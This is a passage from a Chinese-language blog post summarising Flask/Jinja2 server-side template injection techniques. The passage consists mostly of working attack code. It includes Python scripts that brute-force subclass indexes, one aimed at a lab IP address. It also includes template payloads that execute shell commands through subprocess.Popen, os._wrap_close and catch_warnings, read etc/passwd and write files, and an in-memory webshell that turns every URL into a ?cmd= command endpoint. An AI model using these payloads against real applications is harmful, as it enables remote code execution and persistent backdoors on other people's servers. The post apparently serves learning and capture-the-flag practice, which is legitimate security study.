9
10
11
12
import requests
url = input('请输入URL链接: ')
for i in range(500):
data = {"name": "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except :
pass
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
subprocess.Popen类

subprocess.Popen 是一个类,可以直接实例化来执行命令,不需要通过 __globals__ 获取 os 模块

可以使用这个脚本找到subprocess.Popen类的索引值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

def ssti_probe_all():
url = "http://192.168.8.133:18080/flasklab/level/1"
found = []

for i in range(1, 501):
payload = f"{{{{ range.__class__.__base__.__subclasses__()[{i}] }}}}"

try:
response = requests.post(url, data={'code': payload}, timeout=10)

if "subprocess.Popen" in response.text:
found.append(i)
print(f"[+] 找到 subprocess.Popen at index: {i}")

except requests.RequestException as e:
print(f"[-] 请求失败 (索引 {i}): {e}")

print(f"\n[*] 共找到 {len(found)} 个匹配项")
if found:
print(f"[*] 索引列表: {found}")

if __name__ == "__main__":
ssti_probe_all()

下面这个是payload

1
{{''.__class__.__bases__[0].__subclasses__()[200]('ls', shell=True, stdout=-1).communicate()[0]}}

执行逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 获取所有类
classes = ''.__class__.__bases__[0].__subclasses__()

# 2. 取出 Popen 类(索引 204)
Popen = classes[200] # <class 'subprocess.Popen'>

# 3. 创建 Popen 对象并执行命令
proc = Popen('ls', shell=True, stdout=-1)

# 4. 获取输出
stdout, stderr = proc.communicate()

# 5. 返回结果
stdout
warnings.catch_warnings类

通过这个可以找到

1
2
{% for c in [].__class__.__base__.__subclasses__() %}     {{ loop.index0 }}: {{ c.__name__ }}<br> {% endfor %}
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}
os._wrap_close类
1
2
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
file类(python2)
1
2
3
4
5
# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
catch_warnings类构造
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

使用这个自己找到类,然后执行

使用这个还可以写入文件读取文件

1
2
3
4
5
# 写入文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/tmp/test.txt', 'w').write('hello') }}{% endif %}{% endfor %}

# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/tmp/test.txt').read() }}{% endif %}{% endfor %}
内存马打入

原理讲解需要狠下功夫,这里之后再研究,这里放几篇文章

直接在注入

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

任何URL路径都可以加 ?cmd= 使用

可以直接执行命令

1
2
3
4
5
6
7
8
参考文章
https://mixbp.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC/

https://xz.aliyun.com/news/13858

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/

https://xz.aliyun.com/news/10381

本文共计约 3.3 万字,希望能对你理解 ssti 相关知识有所帮助。如在学习过程中遇到问题,欢迎随时与我交流探讨。

后续将更新 SSTI 模板注入手法总结(Python 篇・二),内容将以各类绕过技巧为核心展开讲解。


ssti模板注入手法总结python篇(一)
https://exploreio.github.io/2026/04/04/ssti-sec1/
作者
ExploreIO
发布于
2026年4月4日
许可协议